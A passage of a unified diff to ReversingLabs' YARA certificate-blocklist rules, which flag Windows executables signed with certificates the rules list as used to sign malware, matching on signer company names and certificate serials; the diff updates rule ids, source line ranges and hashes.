REVERSINGLABS_Cert_Blocklist_038D56A12153E8B5C74C69Bff65Cbe3F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_74Fedf0F8398060Fa8378C6D174465C8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "48162554-a95b-5cd3-9bbb-bcf6a1d96592" + id = "eea46214-d0f5-5e92-b678-4a1df09025ce" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9384-L9400" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3378-L3394" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ed3a81231f93f9d2ae462481503ba37072c3800dd1379baae11737f093a27af1" + logic_hash = "406821c7990f05fdad91704f6418304f53dd4800bc4b41912177a1695858fade" score = 75 quality = 90 tags = "INFO, FILE" @@ -19781,21 +42175,21 @@ rule REVERSINGLABS_Cert_Blocklist_038D56A12153E8B5C74C69Bff65Cbe3F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE6\\xAD\\xA6\\xE6\\xB1\\x89\\xE5\\x86\\x85\\xE7\\x91\\x9F\\xE6\\x96\\xAF\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "03:8d:56:a1:21:53:e8:b5:c7:4c:69:bf:f6:5c:be:3f" and 1605680260 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DOCS PTY LTD" and pe.signatures [ i ] . serial == "74:fe:df:0f:83:98:06:0f:a8:37:8c:6d:17:44:65:c8" and 1566172800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_060D94E2Ccae84536654D9Daf39Fef1E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3Bd6A5Bba28E7C1Ca44880159Dace237 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ac5d29ef-fd52-536b-bcbc-44433dda8a21" + id = "c80245bd-908a-5b89-92e3-af0dd7bed63a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9402-L9418" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3396-L3412" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "49000f3a3ce1ad9aef87162d7527b8f062e0aa12276b82c7335f0ccc14b7d38a" + logic_hash = "f885c782148947d09133a3cc65319e02204c21d6c6d911b360840f25f37601dc" score = 75 quality = 90 tags = "INFO, FILE" @@ -19805,21 +42199,21 @@ rule REVERSINGLABS_Cert_Blocklist_060D94E2Ccae84536654D9Daf39Fef1E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HasCred ApS" and pe.signatures [ i ] . serial == "06:0d:94:e2:cc:ae:84:53:66:54:d9:da:f3:9f:ef:1e" and 1627948800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TECHNO BEAVERS LIMITED" and pe.signatures [ i ] . serial == "3b:d6:a5:bb:a2:8e:7c:1c:a4:48:80:15:9d:ac:e2:37" and 1563408000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0Bc9B800F480691Bd6B60963466B0C75 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_C04F8F1E00C69E96A51Bf14Aab1C6Ae0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "614f88ca-183a-548b-99f1-30cf4c4027ce" + id = "6513160e-ece5-500b-8b0b-4b8a6e04c0af" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9420-L9436" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3414-L3432" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6a498fd30c611976e9aad2f9b85b13c3c29246582cdfefc800615db88e40dac2" + logic_hash = "c2b5ffa305b761b57dd91c0acea0d8f82bec6b7d3608be10a20ea63621f3f3e8" score = 75 quality = 90 tags = "INFO, FILE" @@ -19829,21 +42223,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Bc9B800F480691Bd6B60963466B0C75 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HasCred ApS" and pe.signatures [ i ] . serial == "0b:c9:b8:00:f4:80:69:1b:d6:b6:09:63:46:6b:0c:75" and 1629158400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CHAIKA, TOV" and ( pe.signatures [ i ] . serial == "00:c0:4f:8f:1e:00:c6:9e:96:a5:1b:f1:4a:ab:1c:6a:e0" or pe.signatures [ i ] . serial == "c0:4f:8f:1e:00:c6:9e:96:a5:1b:f1:4a:ab:1c:6a:e0" ) and 1551398400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0C4324Ff41F0A7B16Ffcc93Dffa8Fa99 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_23F537Ce13C6Cccdfd3F8Ce81Fb981Cb : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "34594a57-f9fd-5b9d-afb6-691be33da9b5" + id = "f48b7818-5b34-5609-822a-39a2e7fb44c5" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9438-L9454" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3434-L3450" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d3ce83fb0497c533a5474d46300c341677ec243686723783798bfbaec4f6e369" + logic_hash = "d347bce3eddd0cac276a7504955f0342ae44fd93d238e514af5b1fdc208b68fc" score = 75 quality = 90 tags = "INFO, FILE" @@ -19853,21 +42247,21 @@ rule REVERSINGLABS_Cert_Blocklist_0C4324Ff41F0A7B16Ffcc93Dffa8Fa99 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE7\\xA6\\x8F\\xE5\\xBB\\xBA\\xE7\\x9C\\x81\\xE4\\xBA\\x94\\xE6\\x98\\x9F\\xE4\\xBF\\xA1\\xE6\\x81\\xAF\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "0c:43:24:ff:41:f0:a7:b1:6f:fc:c9:3d:ff:a8:fa:99" and 1600300800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ISECURE GROUP PTY LTD" and pe.signatures [ i ] . serial == "23:f5:37:ce:13:c6:cc:cd:fd:3f:8c:e8:1f:b9:81:cb" and 1566086400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0B980Fc8783E4F158E41829Ab21Bab81 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_73Ecfdbb99Aec176Ddfcf7958D120E1A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f7358f71-421f-57fa-abdf-ab479f4b7007" + id = "84e20878-e4ea-53a5-9c1b-04f3c66276de" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9456-L9472" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3452-L3468" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b0f43caec1cfc5b2d1512d7fcf0bcf1e02fc81764b4376b081f38c4de328eab2" + logic_hash = "d911156707cef97acf79c096b5d4a4db166ddf05237168f1ecffb0c0a2ebd8fa" score = 75 quality = 90 tags = "INFO, FILE" @@ -19877,21 +42271,21 @@ rule REVERSINGLABS_Cert_Blocklist_0B980Fc8783E4F158E41829Ab21Bab81 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Idris Kanchwala Holding Corp." and pe.signatures [ i ] . serial == "0b:98:0f:c8:78:3e:4f:15:8e:41:82:9a:b2:1b:ab:81" and 1631750400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MHOW PTY LTD" and pe.signatures [ i ] . serial == "73:ec:fd:bb:99:ae:c1:76:dd:fc:f7:95:8d:12:0e:1a" and 1566864000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D8F515715Aeffef0A0E4E37F16C254Fa : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_675129Bb174A5B05E330Cc09F8Bbd70A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "50ffd0a0-d861-53d7-a7dc-f74ccc49eff8" + id = "97046206-efc4-58dd-a9df-4966bad3902d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9474-L9492" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3470-L3486" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3c7d57a655f76a6e5ef6b0e770db7c91d0830b6b0b37caef5ef9e3e78ad1fd75" + logic_hash = "d989ea5233e8a64bffa0e29645c3458ef1f5173158ced7814c3b473b92ef49f4" score = 75 quality = 90 tags = "INFO, FILE" @@ -19901,21 +42295,21 @@ rule REVERSINGLABS_Cert_Blocklist_D8F515715Aeffef0A0E4E37F16C254Fa : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HOLDING LA LTD" and ( pe.signatures [ i ] . serial == "00:d8:f5:15:71:5a:ef:fe:f0:a0:e4:e3:7f:16:c2:54:fa" or pe.signatures [ i ] . serial == "d8:f5:15:71:5a:ef:fe:f0:a0:e4:e3:7f:16:c2:54:fa" ) and 1619136000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALEX & CO PTY LIMITED" and pe.signatures [ i ] . serial == "67:51:29:bb:17:4a:5b:05:e3:30:cc:09:f8:bb:d7:0a" and 1565568000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D79739187C585E453C00Afc11D77B523 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_De13Fe2Dbb8F890287E1780Aff6Ffd22 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ed427336-6833-5e09-8ebe-039c8cd50846" + id = "d2b15920-76ae-54e4-988c-278a3622ec52" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9494-L9512" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3488-L3504" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6d6db87227d7be559afa67c4f2b65b01f26741fdf337d920241a633bb036426f" + logic_hash = "ebd983bcfa1e5d54af9d9e07d80d05f4752040eab92e63cd986db789fa07026f" score = 75 quality = 90 tags = "INFO, FILE" @@ -19925,21 +42319,21 @@ rule REVERSINGLABS_Cert_Blocklist_D79739187C585E453C00Afc11D77B523 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SAN MARINO INVESTMENTS PTY LTD" and ( pe.signatures [ i ] . serial == "00:d7:97:39:18:7c:58:5e:45:3c:00:af:c1:1d:77:b5:23" or pe.signatures [ i ] . serial == "d7:97:39:18:7c:58:5e:45:3c:00:af:c1:1d:77:b5:23" ) and 1631059200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LAST TIME PTY LTD" and pe.signatures [ i ] . serial == "de:13:fe:2d:bb:8f:89:02:87:e1:78:0a:ff:6f:fd:22" and 1566259200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_961Cecb0227845317549E9343A980E91 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Da000D18949C247D4Ddfc2585Cc8Bd0F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f319592a-5f08-5f2c-b840-5f897695e054" + id = "3e939b73-abe4-5941-93ab-18bcde854aaf" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9514-L9532" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3506-L3524" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c74512e95e2d6aedecb1dbd30fac6fde40d1e9520c89b785519694d9bc9ba854" + logic_hash = "3453f13e633a2c233f78d0389c655bb5304e567407b3e0c5c47e5e7127c345ca" score = 75 quality = 90 tags = "INFO, FILE" @@ -19949,21 +42343,21 @@ rule REVERSINGLABS_Cert_Blocklist_961Cecb0227845317549E9343A980E91 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AmiraCo Oy" and ( pe.signatures [ i ] . serial == "00:96:1c:ec:b0:22:78:45:31:75:49:e9:34:3a:98:0e:91" or pe.signatures [ i ] . serial == "96:1c:ec:b0:22:78:45:31:75:49:e9:34:3a:98:0e:91" ) and 1615248000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PORT-SERVIS LTD" and ( pe.signatures [ i ] . serial == "00:da:00:0d:18:94:9c:24:7d:4d:df:c2:58:5c:c8:bd:0f" or pe.signatures [ i ] . serial == "da:00:0d:18:94:9c:24:7d:4d:df:c2:58:5c:c8:bd:0f" ) and 1564444800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1Ef6392B2993A6F67578299659467Ea8 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_06E842D3Ea6249D783D6B55E29C060C7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "123e5aed-0ef4-5146-81bb-5d455a9cf92e" + id = "37829f07-c569-5e46-8b7a-2137c4c801e8" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9534-L9550" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3526-L3542" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f6b454a575ea7635d5edebffe3c9c83e95312ee33245e733987532348258733e" + logic_hash = "9f71de0119527c8580f9e47e3fba07242814c5a537d727d4541fd7a802b0cb86" score = 75 quality = 90 tags = "INFO, FILE" @@ -19973,21 +42367,21 @@ rule REVERSINGLABS_Cert_Blocklist_1Ef6392B2993A6F67578299659467Ea8 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALUSEN d. o. o." and pe.signatures [ i ] . serial == "1e:f6:39:2b:29:93:a6:f6:75:78:29:96:59:46:7e:a8" and 1618531200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PORT-SERVIS LTD, TOV" and pe.signatures [ i ] . serial == "06:e8:42:d3:ea:62:49:d7:83:d6:b5:5e:29:c0:60:c7" and 1565568000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_A918455C0D4Da7Ca474F41F11A7Cf38C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_06473C3C19D9E1A9429B58B6Faec2967 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "959b10fe-fbd0-5642-a5d9-4ac2e0474666" + id = "01eba681-8c98-5553-b369-941b6dba11e2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9552-L9570" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3544-L3560" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ea30d85c057f9363ce29d4c024097c50a8752dd2095481181322fe5d5c92bb4b" + logic_hash = "f9ca49ce65d213dce803806956c0ce1da0c4068bea173daae9cb06dab0a86268" score = 75 quality = 90 tags = "INFO, FILE" @@ -19997,21 +42391,21 @@ rule REVERSINGLABS_Cert_Blocklist_A918455C0D4Da7Ca474F41F11A7Cf38C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MIDDRA INTERNATIONAL CORP." and ( pe.signatures [ i ] . serial == "00:a9:18:45:5c:0d:4d:a7:ca:47:4f:41:f1:1a:7c:f3:8c" or pe.signatures [ i ] . serial == "a9:18:45:5c:0d:4d:a7:ca:47:4f:41:f1:1a:7c:f3:8c" ) and 1618963200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Digital Leadership Solutions Limited" and pe.signatures [ i ] . serial == "06:47:3c:3c:19:d9:e1:a9:42:9b:58:b6:fa:ec:29:67" and 1581984001 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_936Bc256D2057Ca9B9Ec3034C3Ed0Ee6 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_39F56251Df2088223Cc03494084E6081 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4dbe7db7-2f61-558c-a6dc-875ba87322c7" + id = "0c475e89-9729-53b9-a301-7a9faa0fef91" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9572-L9590" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3562-L3578" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7e90c29bcfe4632e70b61a0cf2ab48a3de986bd5c6c730f64a363f4f3d79a3f4" + logic_hash = "c87850f91758a5bb3bdf6f6d7de9a3f53077d64cebdde541ac0742d3cea4f4e0" score = 75 quality = 90 tags = "INFO, FILE" @@ -20021,21 +42415,21 @@ rule REVERSINGLABS_Cert_Blocklist_936Bc256D2057Ca9B9Ec3034C3Ed0Ee6 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SALES & MAINTENANCE LIMITED" and ( pe.signatures [ i ] . serial == "00:93:6b:c2:56:d2:05:7c:a9:b9:ec:30:34:c3:ed:0e:e6" or pe.signatures [ i ] . serial == "93:6b:c2:56:d2:05:7c:a9:b9:ec:30:34:c3:ed:0e:e6" ) and 1616889600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Inter Med Pty. Ltd." and pe.signatures [ i ] . serial == "39:f5:62:51:df:20:88:22:3c:c0:34:94:08:4e:60:81" and 1583539200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Afe8Fee94B41422E01E4897Bcd52D0A4 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1362E56D34Dc7B501E17Fa1Ac3C3E3D9 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "83d08ca6-2a0b-5da3-8d53-7bf8bcc361cf" + id = "9dccd009-eca1-5f21-b5ef-1a75f9d93c7d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9592-L9610" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3580-L3596" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "02c55b182bc9843334baed9c0a7cca2c88cd1de00ca9b47b10ec79b7a5acf9bb" + logic_hash = "0415c5a49076bab23dfc29ef2d6168b93d6bfde07a89ccb0368d2c967422407a" score = 75 quality = 90 tags = "INFO, FILE" @@ -20045,21 +42439,21 @@ rule REVERSINGLABS_Cert_Blocklist_Afe8Fee94B41422E01E4897Bcd52D0A4 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TLGM ApS" and ( pe.signatures [ i ] . serial == "00:af:e8:fe:e9:4b:41:42:2e:01:e4:89:7b:cd:52:d0:a4" or pe.signatures [ i ] . serial == "af:e8:fe:e9:4b:41:42:2e:01:e4:89:7b:cd:52:d0:a4" ) and 1617062400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO \"Amaranth\"" and pe.signatures [ i ] . serial == "13:62:e5:6d:34:dc:7b:50:1e:17:fa:1a:c3:c3:e3:d9" and 1575936000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_718E89Ddb33257Ea77Ba74Be7F2Baf1D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4B83593Fc78D92Cfaa9Bdf3F97383964 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d173c2b2-2b76-521a-aac1-ae69fdf5b16b" + id = "8b5a8a8e-16f5-5098-83e5-72820f4f548a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9612-L9628" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3598-L3614" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2f0defa1e1d905d937677e96f2a0955d9737f6976596932cc093fdecfea3fdb0" + logic_hash = "775e41fc102cbaeb9374984380b0e073de2a0075b9a200f8ab644bd1369ba015" score = 75 quality = 90 tags = "INFO, FILE" @@ -20069,21 +42463,21 @@ rule REVERSINGLABS_Cert_Blocklist_718E89Ddb33257Ea77Ba74Be7F2Baf1D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Trap Capital ApS" and pe.signatures [ i ] . serial == "71:8e:89:dd:b3:32:57:ea:77:ba:74:be:7f:2b:af:1d" and 1635462927 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Kometa" and pe.signatures [ i ] . serial == "4b:83:59:3f:c7:8d:92:cf:aa:9b:df:3f:97:38:39:64" and 1579996800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4D3E38F4Aebbc32257450726B29Be117 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_C7505E7464E00Ec1Dccd8D1B466D15Ff : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "173f89ca-e7b3-507b-96c1-325dd06210f8" + id = "a75cc09f-de73-5db4-9ace-189e8da99053" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9630-L9646" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3616-L3634" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f618547942fcd9b3d1104cb5bedeecec8596fa7cc34bca838b6120085b305d73" + logic_hash = "7c5c84cb9071eff6a1bd7062506b807466bb4a432d1ed073961898c6c08cc4bd" score = 75 quality = 90 tags = "INFO, FILE" @@ -20093,21 +42487,21 @@ rule REVERSINGLABS_Cert_Blocklist_4D3E38F4Aebbc32257450726B29Be117 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "POLE & AERIAL FITNESS LIMITED" and pe.signatures [ i ] . serial == "4d:3e:38:f4:ae:bb:c3:22:57:45:07:26:b2:9b:e1:17" and 1636123882 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ltd. \"Eve Beauty\"" and ( pe.signatures [ i ] . serial == "00:c7:50:5e:74:64:e0:0e:c1:dc:cd:8d:1b:46:6d:15:ff" or pe.signatures [ i ] . serial == "c7:50:5e:74:64:e0:0e:c1:dc:cd:8d:1b:46:6d:15:ff" ) and 1583824676 <= pe.signatures [ i 